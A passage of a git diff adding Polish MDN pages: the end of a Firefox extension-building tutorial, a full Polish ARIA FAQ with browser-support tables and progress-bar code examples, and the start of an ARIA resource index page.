+<p>Użyj prawego panelu Inspektora DOM w celu znalezienia punktów łączenia z identyfikatorami, których możesz użyć przy wstawianiu swoich elementów z nakładek. Jeśli nie możesz znaleźć elementu z identyfikatorem, do któregoś mógłbyś się podłączyć, być może będziesz musiał dołączyć skrypt do swojej nakładki i wstawiać swoje elementy, kiedy zdarzenie <code>load</code> zostanie odpalone w głównym oknie XUL.</p>
+
+<h2 id="Debugowanie_rozszerze.C5.84" name="Debugowanie_rozszerze.C5.84">Debugowanie rozszerzeń</h2>
+
+<p><strong>Analityczne narzędzia do debugowania</strong></p>
+
+<ul>
+ <li><a href="/pl/Inspektor_DOM" title="pl/Inspektor_DOM">Inspektor DOM</a> - bada atrybuty, strukturę DOM, style CSS, których używasz (np. odkrywa, dlaczego Twój styl wydaje się nie działać dla elementu - nieocenione narzędzie!)</li>
+ <li><a href="/pl/Venkman" title="pl/Venkman">Venkman</a> - ustawia pułapki (breakpointy) w skryptach JavaScript i bada stos wywołań</li>
+ <li><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/arguments/callee" title="pl/Dokumentacja_języka_JavaScript_1.5/Funkcje/arguments/callee">arguments.callee</a>.<a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/caller" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Function/caller">caller</a></code> w JavaScript - dostęp do stosu wywołań funkcji.</li>
+</ul>
+
+<p><strong>Debugowanie printf</strong></p>
+
+<ul>
+ <li>Uruchom Firefoksa z opcją <code>-console</code> z linii poleceń i używaj <code><a href="/pl/DOM/window.dump" title="pl/DOM/window.dump">dump</a>("string")</code> (zobacz odnośnik, aby dowiedzieć się szczegółów),</li>
+ <li>Używaj <code><a href="/pl/nsIConsoleService" title="pl/nsIConsoleService">nsIConsoleService</a></code> do wyświetlania logów w konsoli JavaScript.</li>
+</ul>
+
+<p><strong>Zaawansowane debugowanie</strong></p>
+
+<ul>
+ <li>Uruchom wersję Firefoksa skompilowaną ze wsparciem dla debugowania i ustaw pułapki w samym Firefoksie lub Twoim komponencie C++. Dla doświadczonych twórców rozszerzeń, jest to często najszybszy sposób zdiagnozowania problemu. Przejrzyj <a href="/pl/Dokumentacja_kompilacji" title="pl/Dokumentacja_kompilacji">Dokumentacja kompilacji</a> i <a href="/pl/Programowanie_Mozilli" title="pl/Programowanie_Mozilli">Programowanie_Mozilli</a> w celu uzyskania dalszych informacji.</li>
+ <li>Zobacz <a href="/pl/Debugowanie_aplikacji_XULRunner" title="pl/Debugowanie_aplikacji_XULRunner">Debugowanie aplikacji XULRunner</a>, aby uzyskać więcej pomocnych wskazówek.</li>
+</ul>
+
+<h2 id="Szybki_start" name="Szybki_start">Szybki start</h2>
+
+<p>Możesz zastosować narzędzie <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Kreator rozszerzeń</a> do generowania prostych rozszerzeń, które potem możesz modyfikować.</p>
+
+<p>Rozszerzenie <a class="external" href="http://mozilla.doslash.org/stuff/helloworld.zip">Hello World</a> podobne do tych, które można wygenerować Kreatorem Rozszerzeń jest opisane linijka po linijce w <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">innym przewodniku MozillaZine Knowledge Base</a>.</p>
+
+<h2 id="Dalsze_informacje" name="Dalsze_informacje">Dalsze informacje</h2>
+
+<pre class="eval">* <a href="/pl/Rozszerzenia_-_FAQ" title="pl/Rozszerzenia_-_FAQ">Rozszerzenia - FAQ</a>
+* <a href="/pl/Rozszerzenia" title="pl/Rozszerzenia">Rozszerzenia</a>
+</pre>
+
+<hr>
+<p>{{ Note(1) }}Dwie uwagi do tego punktu:</p>
+
+<ul>
+ <li>Jeżeli chcesz użyć polskich liter, powinieneś zapisać plik w formacie UTF-8 (w Windows XP wystarczy do tego Notatnik)</li>
+ <li>Zgodnie z sugestią w <a class="external" href="http://developer.mozilla.org/en/docs/Talk:Building_an_Extension#No_Hello_World.21_in_the_status_bar.3F">tym komentarzu</a> - jeżeli napis na pasku statusu nie pokaże się podczas testowania rozszerzenia, to być może inne zainstalowane rozszerzenie również wykorzystuje panel na pasku statusu o id "my-panel". Warto wtedy spróbować zmienić w powyższym kodzie id="my-panel" np. na id="my-panel123" i ponownie uruchomić przeglądarkę.</li>
+</ul>
diff --git a/files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html b/files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html
new file mode 100644
index 0000000000..35510946d6
--- /dev/null
+++ b/files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html
@@ -0,0 +1,299 @@
+---
+title: Aplikacje internetowe i ARIA FAQ
+slug: Web/Accessibility/ARIA/Aplikacje_internetowe_i_ARIA_FAQ
+tags:
+ - ARIA
+translation_of: Web/Accessibility/ARIA/Web_applications_and_ARIA_FAQ
+---
+<h2 id="Czym_jest_ARIA">Czym jest ARIA?</h2>
+
+<p>WAI-ARIA z angielskiego <a class="external" href="http://www.w3.org/WAI/intro/aria.php" title="http://www.w3.org/WAI/intro/aria.php">Accessible Rich Internet Applications (ARIA)</a> dokumentacja stworzona przez <a class="external" href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative (WAI)</a> z inicjatywy <a class="external" href="http://www.w3.org/" title="http://www.w3.org/">W3C</a>. ARIA dostarcza sposób aby tworzyć aplikacje internetowe, lepiej dostępne dla osób zmagającymi się z różnorakimi problemami, włącznie z tymi, którzy muszą korzystać z dodatkowych narzędzi, które umożliwiają im użytkowanie stron internetowych takich jak: czytniki ekranowe czy szkła powiększające.</p>
+
+<p>ARIA dostarcza semantykę opisującą role (eng. roles), statusy (eng. states) oraz funkcjonalności dla wielu komponentów stron internetowych takich jak: nawigacje (menu), slajdery, okna dialogowe czy drzewa rozwijane (częściej występujące w aplikacjach desktopowych). Dostarcza również informacje strukturalne, które pomagają twórcom identyfikować odpowiednie komponenty. ARIA pozwala dynamicznym aplikacjom internetowym opartym o JavaScript na interpolację z technologiami pochodzenia desktopowego.</p>
+
+<p>Po więcej informacji na temat ARIA, przejdź do: <a href="/en/Accessibility/An_overview_of_accessible_web_applications_and_widgets" title="en/Accessibility/An overview of accessible web applications and widgets">Overview of accessible web applications and widgets</a>. (TBD Polish translation).</p>
+
+<h2 id="Wsparcie_dla_ARIA">Wsparcie dla ARIA</h2>
+
+<p>ARIA jest relatywnie młodą specyfikacją ale jest coraz lepiej wspierana. Posiada wsparcie głównych przeglądarek, technologii wspomagających, narzędzi JavaScript oraz aplikacji. Jednakże część użytkowników może wciąż używać starszych wersji tych narzędzi czy aplikacji. W takim przypadku możesz rozważyć implementację ARIA ulepszając swoją aplikację progresywnie, na przykład przy użyciu JavaScript, zamiast znaczników HTML w celu lepszego wsparcia dla użytkowników wciąż kożystających ze starych technologii.</p>
+
+<h3 id="Przeglądarki">Przeglądarki</h3>
+
+<p>ARIA posiada wsparcie następujacych przeglądarek:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Nazwa</th>
+ <th>Wersja minimum</th>
+ <th>Informacja dodatkowa</th>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>3.0+</td>
+ <td>Działa z NVDA, JAWS 10+ i Orca</td>
+ </tr>
+ <tr>
+ <td><a class="external" href="http://dev.chromium.org/developers/design-documents/accessibility#TOC-WAI-ARIA-Support" title="http://dev.chromium.org/developers/design-documents/accessibility#TOC-WAI-ARIA-Support">Chrome</a></td>
+ <td>15+</td>
+ <td>Czytniki ekranowe mogą mieć problem z Chrome 15 i starszymi</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>4+</td>
+ <td>Działa z VoiceOver od iOS5 oraz OS X Lion</td>
+ </tr>
+ <tr>
+ <td><a class="external" href="http://www.opera.com/docs/specs/presto28/wai-aria/roleattributes/" title="http://www.opera.com/docs/specs/presto28/wai-aria/roleattributes/">Opera</a></td>
+ <td>9.5+</td>
+ <td>Wymaga VoiceOver na OS X w początkowych wersjach</td>
+ </tr>
+ <tr>
+ <td><a class="external" href="http://msdn.microsoft.com/en-us/library/cc891505%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/cc891505(v=vs.85).aspx">Internet Explorer</a></td>
+ <td>8+</td>
+ <td>Działa z JAWS 10+ i NVDA.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>W niektórych przypadkach, we wczesnych wersjach przeglądarek, wsparcie ARIA może być ograniczone, po bardziej dokładne informacje udaj się na:</p>
+
+<ul>
+ <li><a class="external" href="http://caniuse.com/wai-aria" title="http://caniuse.com/wai-aria">caniuse.com</a></li>
+ <li><a class="external" href="http://www.paciellogroup.com/blog/2012/02/rough-guide-browsers-operating-systems-and-screen-reader-support/" title="http://www.paciellogroup.com/blog/2012/02/rough-guide-browsers-operating-systems-and-screen-reader-support/">The Paciello Group</a></li>
+</ul>
+
+<h3 id="Technologie_wspomagające">Technologie wspomagające</h3>
+
+<p>Technologie wspomagające coraz częściej wspierają ARIA. Między innymi:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Nazwa Technologii</th>
+ <th>Wersja minimum, podstawowe wsparcie ARIA</th>
+ <th>Wersja minimum dla live region i alert support</th>
+ </tr>
+ <tr>
+ <td>NVDA</td>
+ <td>2010.2<br>
+ (NVDA is always a free upgrade)</td>
+ <td>2011.1 dla Firefox, brak wsparcia live region dla IE z dniem 2011.2.</td>
+ </tr>
+ <tr>
+ <td>Orca</td>
+ <td>? (TBD)</td>
+ <td>? (TBD)</td>
+ </tr>
+ <tr>
+ <td>VoiceOver</td>
+ <td>OSX 10.5,<br>
+ iOS 4</td>
+ <td>OS X 10.7<br>
+ iOS 5</td>
+ </tr>
+ <tr>
+ <td>JAWS</td>
+ <td>8</td>
+ <td>10</td>
+ </tr>
+ <tr>
+ <td>Window-Eyes</td>
+ <td>7</td>
+ <td>? (TBD)</td>
+ </tr>
+ <tr>
+ <td>ZoomText</td>
+ <td>?</td>
+ <td>? (TBD)</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Wczesne wersje tych narzędzi często mają częściową implementację ARIA lub zawierającą błędy.</p>
+
+<p>Na temat wsparcia JAWS dla ARIA, przeczytaj artykuł Paciello Group: <a class="external" href="http://www.paciellogroup.com/blog/2010/10/jaws-support-for-aria/" title="http://www.paciellogroup.com/blog/2010/10/jaws-support-for-aria/">JAWS Support for ARIA</a>.</p>
+
+<h3 id="Narzędzia_JavaScript">Narzędzia JavaScript</h3>
+
+<p>Role (roles), statusy (states), właściwości (properties) zostały dodane do wielu popularnych narzędzi JavaScript do tworzenia komponentów webowych, między innymi:</p>
+
+<ul>
+ <li>Dojo/Dijit</li>
+ <li>jQuery UI</li>
+ <li>Fluid Infusion</li>
+ <li>Google Closure</li>
+ <li>Google Web Toolkit</li>
+ <li>BBC Glow</li>
+ <li>Yahoo! User Interface Library (YUI)</li>
+</ul>
+
+<p>Po więcej informacji na temat dostępności ARIA w narzędziach JavaScript, przeczytaj:</p>
+
+<ul>
+ <li>Steve Faulkner's <a class="external" href="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/" title="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/">WAI-ARIA Implementation in JavaScript UI Libraries</a></li>
+</ul>
+
+<h2 id="ARIA_w_akcji">ARIA w akcji</h2>
+
+<p><a id="aria-w-akcji" name="aria-w-akcji">Przykład atrybutu ARIA dla paska postępu:</a></p>
+
+<pre class="brush:html;">&lt;div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" /&gt;</pre>
+
+<p>Ten pasek postępu jest zbudowany z &lt;div&gt; z atrybutami ARIA określającymi role i właściwości. W tym przykładzie role="progressbar" daje informację przeglądarce, że działanie paska postępu jest sterowane w JavaScript. Atrybuty aria-valuemin oraz aria-valuemax określają minimalną i maksymalną wartość dla paska postępu, a aria-valuenow opisuje aktualny jego status.</p>
+
+<p>Atrybuty ARIA umieszczone wewnątrz tagu HTML mogą być dodawane i aktualizowane w JavaScript, kod poniżej:</p>
+
+<pre class="brush: javascript" id="line96">// Szukam elementu &lt;div&gt; w DOM.
+var progressBar = document.getElementById("percent-loaded");
+
+// Ustawiam role i statusy ARIA, aby technologie pomocnicze miały informację na temat komponentu.
+progressBar.setAttribute("role", "progressbar");
+progressBar.setAttribute("aria-valuemin", 0);
+progressBar.setAttribute("aria-valuemax", 100);
+
+// Tworzę funkcję aktualizującą pasek postępu,
+// którą następnie wywołam w odpowiednim miejscu aby zaktualizować pasek postępu
+function updateProgress(percentComplete) {
+ progressBar.setAttribute("aria-valuenow", percentComplete);
+}</pre>
+
+<h2 id="Czy_ARIA_zmieni_styl_mojej_strony_lub_działanie" style="line-height: 23px;">Czy ARIA zmieni styl mojej strony lub działanie?</h2>
+
+<p>Nie. ARIA jest przeznaczona tylko dla API technologi pomocniczych (assistive technologies), nie ma wpływu na DOM czy style. ARIA jest tylko dodatawanym do elementu HTML przez developera atrybutem, który ma wspomóc AT API (assistive technologi API). Mimo, że sama ARIA nie zmienia stylów to w połączeniu z atrybutem HTML, możemy odpowiednio stylować elementy ARIA w CSS:</p>
+
+<pre class="brush: css">.tab-panel[aria-hidden="true"] {
+  display: none;
+  }
+
+.tab-panel[aria-hidden="false"] {
+  display: block;
+  }
+</pre>
+
+<p><strong style="font-family: georgia,times,times new roman,serif; font-size: 1.628em; font-weight: 700; letter-spacing: -1px; line-height: 23px;">Co z walidacją?</strong></p>
+
+<p>Nowe atrybuty ARIA, jak <strong>role</strong> czy prefiks <strong>aria-</strong> nie są oficjalnie częścią specyfikacji HTML 4 czy XHTML 4. Przez co mogą nie przechodzić walidacji W3C: <a class="external" href="http://validator.w3.org/" title="http://validator.w3.org/">W3C's Markup Validator</a>.</p>
+
+<p>Jednym z rozwiązań tego problemu jest umieszczenie roli i statusów ARIA przy pomocy JavaScript jak zostało pokazane w powyższym przykładzie <a href="/#aria-w-akcji" title="#aria-in-action">ARIA w akcji</a>. Strona teoretycznie będzie niezgodna ze standardem ale przejdzie walidację.</p>
+
+<p>Problem rozwiązuje się w HTML5, który zawiera wbudowane wsparcie dla ARIA. Walidator W3C's HTML5 znajdzie nawet nieprawidłowe użycie ARIA na stronie HTML5.</p>
+
+<h2 id="Co_w_związku_z_HTML5_i_ARIA">Co w związku z HTML5 i ARIA?</h2>
+
+<p>HTML5 przedstawia wiele nowych tagów. Kilka z nich dotyczy bezpośrednio roli ARIA, jak na przykład nowy element &lt;progress&gt;. W przypadkach gdy przeglądarka wspiera tag HTML5 to również dotyczy ARIA, w takich przypadkach zazwyczaj nie ma potrzeby dodawania ról i statusów do elementu. ARIA zawiera jednak wiele ról, statusów i właściwości, które nie są dostępne w HTML5. W takim przypadku developer HTML5 może z nich korzystać. Po więcej informacji można się udać do artykułu Steve'a Faulkner'a <a class="external" href="http://www.paciellogroup.com/blog/2010/04/html5-and-the-myth-of-wai-aria-redundance/" title="http://www.paciellogroup.com/blog/2010/04/html5-and-the-myth-of-wai-aria-redundance/">o relacji HTML5 i ARIA</a>.</p>
+
+<h4 id="Łagodne_zejście_z_HTML5_do_ARIA">Łagodne zejście z HTML5 do ARIA</h4>
+
+<p>Przy tworzeniu aplikacji kompatybilnej HTML5 możesz zastosować w swoim kodzie łagodne zejście do ARIA w przypadku braku wsparcia dla przeglądarku. Używając przykładu z paskiem postępu, zastosować łagodne zejście, gdy tag &lt;progressbar&gt; nie jest wspierany.</p>
+
+<p>Przykład markupu HTML5 dla paska postępu:</p>
+
+<pre class="brush: html" id="line96">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;&lt;title&gt;Gracefully degrading progress bar&lt;/title&gt;&lt;/head&gt;
+ &lt;body&gt;
+ &lt;progress id="progress-bar" value="0" max="100"&gt;0% complete&lt;/progress&gt;
+ &lt;button id="update-button"&gt;Update&lt;/button&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>... i kod JavaScript zapewniający wsparcie dla starszych przeglądarek:</p>
+
+<pre class="brush: javascript" id="line96">var progressBar = document.getElementById("progress-bar");
+
+// Sprawdza wsparcie tagu &lt;progress&gt; dla przeglądarki.
+var supportsHTML5Progress = (typeof (HTMLProgressElement) !== "undefined");
+
+function setupProgress() {
+ if (!supportsHTML5Progress) {
+ // HTML5 &lt;progress&gt; nie jest wspierany więc dodaje.
+ // ARIA role i statusy do elementu.
+ progressBar.setAttribute("role", "progressbar");
+ progressBar.setAttribute("aria-valuemin", 0);
+ progressBar.setAttribute("aria-valuemax", 100);
+ }
+}
+
+function updateProgress(percentComplete) {
+ if (!supportsHTML5Progress) {
+ // HTML5 &lt;progress&gt; nie jest wspierany przez przeglądarkę,
+ // więc musimy zaktualizować aria-valuenow atrybut
+ progressBar.setAttribute("aria-valuenow", percentComplete);
+ } else {
+ // HTML5 &lt;progress&gt; jest wspierany, więc aktualizujemy atrybut value.
+ progressBar.setAttribute("value", percentComplete);
+ }
+
+ progressBar.textContent = percentComplete + "% complete";
+}
+
+function initDemo() {
+  setupProgress(); // Instalacja paska postępu.
+
+ // Dodajemy click handler do przycisku, który zaktualizuje pasek postępu do 75%.
+ document.getElementById("update-button").addEventListener("click", function (e) {
+ updateProgress(75);
+ e.preventDefault();
+ }, false);
+}
+initDemo();
+</pre>
+
+<h2 id="Jak_działają_technologie_pomocnicze_(assistive_technologies)">Jak działają technologie pomocnicze (assistive technologies)?</h2>
+
+<p>Technologie pomocnicze używają używają API wbudowane w każdy system operacyjny, zaprojektowane tak aby opisywać role, statusy oraz strukturę interfejsu użytkownika. Na przykład: czytnik ekranu używa API do czytania interfejsu użytkownika przy pomocy silnika text-to-speech (tekst do mowy), a szkło powiększające używa go do uwyraźnienia  ważnych elementów na ekranie,  klawiatura ekranowa może używać API aby dostosować się do aktualnego kontekstu lub interfejsu. Technologie pomocnicze często korzystają z DOM przez API, aby najlepiej zrozumieć semantykę i atrybuty na stronie.</p>
+
+<p>ARIA jest mostem pomiędzy DOM a desktopem. Przeglądarki wskazują elementy ARIA do API technologii pomocniczych aby wyglądały jak komponenty natywne. W rezultacie użytkownik dostaje bardziej zwarty UX, gdzie komponenty JavaScript można porównywać do odpowiedników desktopowych.</p>
+
+<h2 id="Jak_można_przetestować_ARIA_Są_do_tego_darmowe_narzędzia">Jak można przetestować ARIA? Są do tego darmowe narzędzia?</h2>
+
+<p>Istnieją narzędzia do sprawdzania i debugowania ARIA:</p>
+
+<ul>
+ <li>Object Inspector dla Windows</li>
+ <li>Accessibility Inspector dla OS X</li>
+ <li>AccProbe dla Linux</li>
+ <li>Firebug's DOM Inspector</li>
+ <li><a class="external" href="http://code.google.com/p/ainspector/" title="http://code.google.com/p/ainspector/">Accessibility Inspector for Firebug</a></li>
+ <li><a href="https://chrome.google.com/webstore/detail/accessibility-developer-t/fpkknkljclfencbdbgkenhalefipecmb">Accessibility Developer Tools</a> dla Chrome</li>
+</ul>
+
+<p>Są również darmowe open source'owe czytniki ekranu, które mogą być użyte do testowania ARIA:</p>
+
+<ul>
+ <li><a class="external" href="http://live.gnome.org/Orca" title="http://live.gnome.org/Orca">Orca</a> dla Linux</li>
+ <li><a class="external" href="http://www.nvda-project.org/" title="http://www.nvda-project.org/">NVDA</a> dla Windows</li>
+ <li><a class="external" href="http://www.apple.com/accessibility/voiceover/" title="http://www.apple.com/accessibility/voiceover/">VoiceOver</a> wbudowany w OS X</li>
+</ul>
+
+<p>Kiedy testujesz ARIA pamiętaj:</p>
+
+<ol>
+ <li>Nieformalne testowanie przy pomocy czytników ekranu, nigdy nie zastąpi informacji zwrotnej, testowania i pomocy prawdziwych użytkowników</li>
+ <li>Czytniki ekranu to nie wszystko. Spróbuj testować przy pomocy różnych metod użyczyteczności i dostępności.</li>
+</ol>
+
+<p>Inne pomocne narzędzia i techniki testowania ARIA:</p>
+
+<ul>
+ <li><a class="external" href="http://yaccessibilityblog.com/library/test-aria-focus-bookmarklets.html" title="http://yaccessibilityblog.com/library/test-aria-focus-bookmarklets.html">Yahoo!'s ARIA bookmarklets</a></li>
+ <li>Fluid Project: <a class="external" href="http://wiki.fluidproject.org/display/fluid/Simple+Accessibility+Review+Protocol" title="http://wiki.fluidproject.org/display/fluid/Simple+Accessibility+Review+Protocol">simple accessibility evaluation techniques</a></li>
+</ul>
+
+<h2 id="Gdzie_można_pogadać_i_dopytać_o_ARIA">Gdzie można pogadać i dopytać o ARIA?</h2>
+
+<ul>
+ <li><a class="external" href="http://lists.w3.org/Archives/Public/wai-xtech/" title="http://lists.w3.org/Archives/Public/wai-xtech/">Wai-xtech mailing list</a> -- dyskusja na temat specyfikacji.</li>
+ <li><a class="external" href="http://groups.google.com/group/free-aria" title="http://groups.google.com/group/free-aria">Free-ARIA google group</a> -- dla developerów i użytkowników darmowych narzędzi i źródeł.</li>
+</ul>
+
+<h2 id="Gdzie_się_więcej_dowiem_o_ARIA">Gdzie się więcej dowiem o ARIA?</h2>
+
+<ul>
+ <li><a href="/en/Accessibility/An_overview_of_accessible_web_applications_and_widgets" title="en/Accessibility/An overview of accessible web applications and widgets">An overview of accessible web applications and widgets</a></li>
+ <li><a href="/en/Accessibility/Accessible_forms" title="en/Accessibility/Accessible forms">Accessible forms</a></li>
+ <li>The W3C's <a class="external" href="http://www.w3.org/WAI/aria/faq" title="http://www.w3.org/WAI/aria/faq">WAI-ARIA Frequently Asked Questions</a></li>
+ <li>WebAIM's <a class="external" href="http://webaim.org/techniques/aria/" title="http://webaim.org/techniques/aria/">Accessibility of Rich Internet Applications</a></li>
+</ul>
diff --git a/files/pl/web/accessibility/aria/index.html b/files/pl/web/accessibility/aria/index.html
new file mode 100644
index 0000000000..55e431478e
--- /dev/null
+++ b/files/pl/web/accessibility/aria/index.html
@@ -0,0 +1,127 @@
+---
+title: ARIA
+slug: Web/Accessibility/ARIA
+tags:
+ - ARIA
+ - Accessibility
+ - NeedsTranslation
+ - TopicStub
+ - Web
+translation_of: Web/Accessibility/ARIA
+---
+<p class="summary"><span class="seoSummary">Accessible Rich Internet Applications <strong>(ARIA)</strong> jest zbiorem atrybutów, które umożliwiają rozwój aplikacji webowych (szczególnie tych, które wykorzystują AJAX, Javascript itp.) w taki sposób, iż są one przyjaźniejsze ludziom z niepełnosprawnościami.  Dla przykładu, ARIA umożliwia bezproblemową nawigację po stronie, pomoce przy typowaniu, przyjazne użytkownikowi aktualizacje treści, i wiele, wiele więcej. </span></p>
+
+<p>ARIA jest zbiorem specjalnych atrybutów poprawiajacych dostępność aplikacji, które mogą zostać dodane do dowolnego języka znaczników. Jednakże atrybuty te są przystosowane głównie pod HTML, co powoduje, iż są one wyłącznie tam stosowane.<br>
+ Atrybut <code>role</code> definiuje specjalne role dla obiektów (takich jak <code>article</code> , <code>alert</code> , <code>slider</code> , czy <code>button</code> ). Dodatkowo atrubuty ARIA dostarczają inne przydatne opcje, takie jak opis do <code>form</code> , albo właściwą długość pasku postępu (np. instalacji, aktualizacji lub innego działania). Atrybuty aria moga także zostać użyte w celu aktywacji, deaktywacji, czy ustalenia innego stanu obiektów (np. stanu <code>button</code>)<br>
+  </p>
+
+<p>ARIA jest zaimplementowana w najbardziej popularnych przeglądarkach i czytnikach ekranowych. Jednakże, implementacje różnią się między sobą i starsze technologie mogą takich atrybutów dobrze nie wspierać. Oczywiście jeśli w ogóle wspierają.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Please contribute and make ARIA better for the next person! Not enough time? Send suggestions to Mozilla's <a href="https://lists.mozilla.org/listinfo/accessibility">accessibility mailing list</a>, or #accessibility <a href="https://wiki.mozilla.org/IRC">IRC channel</a>.</p>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h3 id="Zacznij_z_ARIĄ">Zacznij z ARIĄ</h3>
+
+<dl>
+ <dt>Instrukcje do ARI</dt>
+ <dd>A quick introduction to making dynamic content accessible with ARIA. See also the classic <a class="external" href="http://dev.opera.com/articles/view/introduction-to-wai-aria/">ARIA intro by Gez Lemon</a>, from 2008.</dd>
+ <dt><a href="/en-US/docs/Accessibility/ARIA/Web_applications_and_ARIA_FAQ">Web Applications and ARIA FAQ</a></dt>
+ <dd>Answers common questions about WAI-ARIA and why it's needed to make web applications accessible.</dd>
+ <dt><a class="external" href="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/">Videos of Screen Readers Using ARIA</a></dt>
+ <dd>See both real and simplified examples from around the web, including "before" and "after" ARIA videos.</dd>
+ <dt><a class="external" href="http://w3c.github.io/aria-in-html/">Using ARIA in HTML</a></dt>
+ <dd>A practical guide for developers. It suggests what ARIA attributes to use on HTML elements. Suggestions are based on implementation realities.</dd>
+</dl>
+
+<h3 id="Simple_ARIA_Enhancements">Simple ARIA Enhancements</h3>
+
+<dl>
+ <dt><a class="external" href="https://www.paciellogroup.com/blog/2013/02/using-wai-aria-landmarks-2013/">Enhancing Page Navigation with ARIA Landmarks</a></dt>
+ <dd>A nice intro to using ARIA landmarks to improve web page navigation for screen reader users. <a class="external" href="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/">See also, ARIA landmark implementation notes</a> and examples on real sites (updated as of July 2011).</dd>
+ <dt><a href="/en-US/docs/ARIA/forms">Improving Form Accessibility</a></dt>
+ <dd>ARIA is not just for dynamic content! Learn how to improve accessibility of HTML forms using additional ARIA attributes.</dd>
+ <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions" title="Live Regions">Live regions (work-in-progress)</a></dt>
+ <dd>Live regions provide suggestions to screen readers about how to handle changes to the contents of a page.</dd>
+ <dt><a class="external" href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">Using ARIA Live Regions to Announce Content Changes</a></dt>
+ <dd>A quick summary of live regions, by the makers of JAWS screen reader software. Live regions are also supported by NVDA with Firefox, and VoiceOver with Safari.</dd>
+</dl>
+
+<h3 id="ARIA_for_Scripted_Widgets">ARIA for Scripted Widgets</h3>
+
+<dl>
+ <dt><a class="external" href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets">Keyboard Navigation and Focus for JavaScript Widgets</a></dt>
+ <dd>The first step in developing an accessible JavaScript widget is to make it keyboard navigable. This article steps through the process. The <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">Yahoo! focus management article</a> is a great resource as well.</dd>
+ <dt><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/">Style Guide for Keyboard Navigation</a></dt>
+ <dd>A challenge with ARIA is getting developers to implement consistent behavior — clearly best for users. This style guide describes the keyboard interface for common widgets.</dd>
+</dl>
+
+<h3 id="ARIA_Resources">ARIA Resources</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Accessibility/ARIA/widgets/overview">Widget Techniques, Tutorials, and Examples</a></dt>
+ <dd>Need a slider, a menu, or another kind of widget? Find resources here.</dd>
+ <dt><a class="external" href="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/" title="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/">ARIA-Enabled JavaScript UI Libraries</a></dt>
+ <dd>If you're starting a new project, choose a UI widget library with ARIA support already built-in. Warning: this is from 2009 — content should be moved to an MDN page where it can be updated.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h3 id="Mailing_List">Mailing List</h3>
+
+<dl>
+ <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">Free ARIA Google Group</a></dt>
+ <dd>A place to ask questions about ARIA, as well as make suggestions for improving the ARIA documentation found on these pages.</dd>
+</dl>
+
+<h3 id="Blogs">Blogs</h3>
+
+<p>ARIA information on blogs tends to get out of date quickly. Still, there is some great info out there from other developers making ARIA work today.</p>
+
+<p><a class="external" href="https://www.paciellogroup.com/blog/archive/">Paciello Group</a></p>
+
+<p><a class="external" href="http://www.accessibleculture.org/tag/wai-aria/">Accessible Culture</a></p>
+
+<h3 id="Filing_Bugs">Filing Bugs</h3>
+
+<p><a href="/en/Accessibility/ARIA/How_to_file_ARIA-related_bugs" title="https://developer.mozilla.org/en/ARIA/How_to_file_ARIA-related_bugs">File ARIA bugs on browsers, screen readers, and JavaScript libraries.</a></p>
+
+<h3 id="Examples">Examples</h3>
+
+<dl>
+ <dt><a class="external" href="/en-US/docs/Accessibility/ARIA/ARIA_Test_Cases">ARIA Examples Library</a></dt>
+ <dd>A set of barebones example files which are easy to learn from.</dd>
+ <dt>Accessible JS Widget Library Demos</dt>
+ <dd><a class="external" href="http://hanshillen.github.com/jqtest/">jQuery</a>, <a class="external" href="http://yuilibrary.com/gallery/">YUI</a></dd>
+ <dt><a class="external" href="http://mail.yahoo.com">Yahoo! Mail</a></dt>
+ <dd>Yahoo! puts it all together with Yahoo! Mail, a web app that almost looks like a native app. It works very well. As a <a class="external" href="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/">review of Yahoo! Mail</a> by screen reader Marco Zehe says, "Keep up the good work!".</dd>
+ <dt><a class="external" href="http://search.yahoo.com">Yahoo! Search</a></dt>
+ <dd>Yahoo! has done an amazing job of advancing ARIA here, by exercising ARIA's full capabilities and <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">sharing their techniques</a>. Yahoo! Search uses a combination of ARIA landmarks, live regions, and widgets.</dd>
+</dl>
+
+<h3 id="Standardization_Efforts">Standardization Efforts</h3>
+
+<dl>
+ <dt><a class="external" href="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA Activities Overview at W3C</a></dt>
+ <dd>Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)</dd>
